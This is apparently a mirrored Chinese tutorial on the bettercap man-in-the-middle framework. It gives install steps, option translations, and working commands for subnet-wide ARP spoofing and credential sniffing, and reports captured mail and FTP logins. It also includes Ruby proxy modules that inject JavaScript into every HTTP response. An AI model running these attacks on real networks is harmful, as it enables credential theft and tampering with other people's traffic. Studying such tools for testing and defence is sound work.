中間人攻擊利用框架bettercap測試

wyzsk發表於2020-08-19
作者: 三好學生 · 2015/07/28 11:28

0x00前言


上篇提到內網滲透很有趣,這次就從一款新工具說起: bettercap

0x01簡介


bettercap可用來實現各種中間人攻擊,模組化,便攜、易擴充套件

0x02特點


提到中間人攻擊,最知名的莫過於ettercap,而開發bettercap的目的不是為了追趕它,而是替代它 原因如下:

1、ettercap很成功,但在新時代下它已經老了 2、ettercap的過濾器複雜,使用門檻高 3、在大型網路下,主機發現功能效果很差 4、最佳化不夠,對研究人員來說,無用的功能太多 5、擴充套件性不夠,開發需要掌握C/C++語言

0x03測試環境搭建


kali linux:

git clone https://github.com/evilsocket/bettercap
cd bettercap
gem build bettercap.gemspec
sudo gem install bettercap*.gem

如果報錯,如圖:

這裡寫圖片描述

執行如下命令:

sudo apt-get install ruby-dev libpcap-dev
sudo gem install bettercap*.gem   

最後成功,如圖:

這裡寫圖片描述

0x04引數說明


已做翻譯並加入個人理解

用法:

-I, --interface IFACE 指定Network interface name,預設eth0

-S, --spoofer NAME 指定欺騙模組,此引數預設為ARP,目前僅支援ARP,新版本會新增更多選項

-T, --target ADDRESS 指定單一ip,如果未設定,則代表所有子網,子網所有主機自動掃描,簡單高效,十分推薦
-O, --log LOG_FILE 日誌功能

-D, --debug 除錯功能,會將每一步操作詳細記錄,便於除錯

-L, --local 解析流經本機的所有資料包(此操作會開啟嗅探器),此引數預設為關閉

-X, --sniffer 開啟嗅探器. --sniffer-pcap FILE 將資料包儲存為PCAP檔案,可用Wireshark開啟(此操作會開啟嗅探器) --sniffer-filter EXPRESSION 配置嗅探器使用BPF過濾器(此操作會開啟嗅探器)

-P, --parsers PARSERS 指定資料包(此操作會開啟嗅探器),支援NTLMSS, IRC, POST, URL, FTP, HTTPS, HTTPAUTH, MAIL,此引數預設為所有 --no-discovery 只使用當前的ARP快取,不去掃描其他主機,此引數預設為關閉 --no-spoofing 關閉欺騙模組,也可以使用引數--spoofer NONE代替 --proxy 啟用HTTP代理並且重定向所有HTTP請求至本機,此引數預設為關閉 --proxy-port PORT 設定HTTP代理埠,此引數預設為8080 --proxy-module MODULE 指定載入的Ruby模組 --httpd 開啟HTTP伺服器,此引數預設為關閉 --httpd-port PORT 指定HTTP server port, 此引數預設為8081. --httpd-path PATH 指定HTTP server path,此引數預設為 ./.

-h, --help 英文幫助

0x05功能測試


1、HOST DISCOVERY + ARP MAN IN THE MIDDLE

sudo bettercap -X

掃描全部內網主機,傻瓜式操作,自動掃描並進行arp欺騙,使所有流量經過本機,如圖 這裡寫圖片描述

2、CREDENTIALS SNIFFER

抓取流量中有價值的資訊,包括:

URLs being visited.
HTTPS host being visited.
HTTP POSTed data.
HTTP Basic and Digest authentications.
FTP credentials.
IRC credentials.
POP, IMAP and SMTP credentials.
NTLMv1/v2 ( HTTP, SMB, LDAP, etc ) credentials.

用法舉例:

預設傻瓜模式,開啟所有功能:

sudo bettercap -X

如圖為抓到的163郵箱登陸資料

這裡寫圖片描述

指定抓取的資料包:

sudo bettercap -X -P "FTP,HTTPAUTH,MAIL,NTLMSS"

如圖為抓到192.168.40.146的FTP

這裡寫圖片描述

3、MODULAR TRANSPARENT PROXY

代理功能,可以攔截篡改HTTP流量

用法舉例:

開啟代理功能:

sudo bettercap --proxy

開啟代理功能並指定埠:

sudo bettercap --proxy --proxy-port=8081

關閉arp欺騙,只開啟代理

sudo bettercap -S NONE --proxy

開啟代理功能並載入指定的Ruby模組

sudo bettercap --proxy --proxy-module=hack_title.rb

Ruby參考示例:

class HackTitle < Proxy::Module
  def on_request( request, response )
    # is it a html page?
    if response.content_type == 'text/html'
      Logger.info "Hacking http://#{request.host}#{request.url} title tag"
      # make sure to use sub! or gsub! to update the instance
      response.body.sub!( '<title>', '<title> !!! HACKED !!! ' )
    end
  end
end

功能為替換所有html的標題選項

4、BUILTIN HTTP SERVER

內建HTTP SERVER功能,可篡改HTTP響應包內容

用法舉例:

在網路的每一個HTTP響應中注入JS檔案

sudo bettercap --httpd --http-path=/path/to/your/js/file/ --proxy --proxy-module=inject.rb

Ruby參考示例:

class InjectJS < Proxy::Module
  def on_request( request, response )
    # is it a html page?
    if response.content_type == 'text/html'
      Logger.info "Injecting javascript file into http://#{request.host}#{request.url} page"
      # get the local interface address and HTTPD port
      localaddr = Context.get.iface[:ip_saddr]
      localport = Context.get.options[:httpd_port]
      # inject the js
      response.body.sub!( '</title>', "</title><script src='http://#{localaddr}:#{localport}/file.js' 

type='text/javascript'></script>" )
    end
  end
end

0x06測試心得


亮點:

中間人攻擊利用框架的開發,便攜,安裝簡單 整合了各種常用功能,功能模組化,自動欺騙攻擊,提高效率 極大降低了工具的使用和開發門檻

不足:

目前只支援arp欺騙,功能仍需完善。
暫不支援windows

0x07總結


之前我用過c++開發arp欺騙&中間人攻擊的程式,個人認為arp欺騙的成功與否關鍵在於ARP快取表的修改,鎖定ARP快取表目前就能防禦bettercap基於arp的中間人攻擊 但我相信,bettercap的前景十分廣闊。

0x08補充


bettercap下載地址:

http://www.bettercap.org/

水平有限,歡迎補充。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章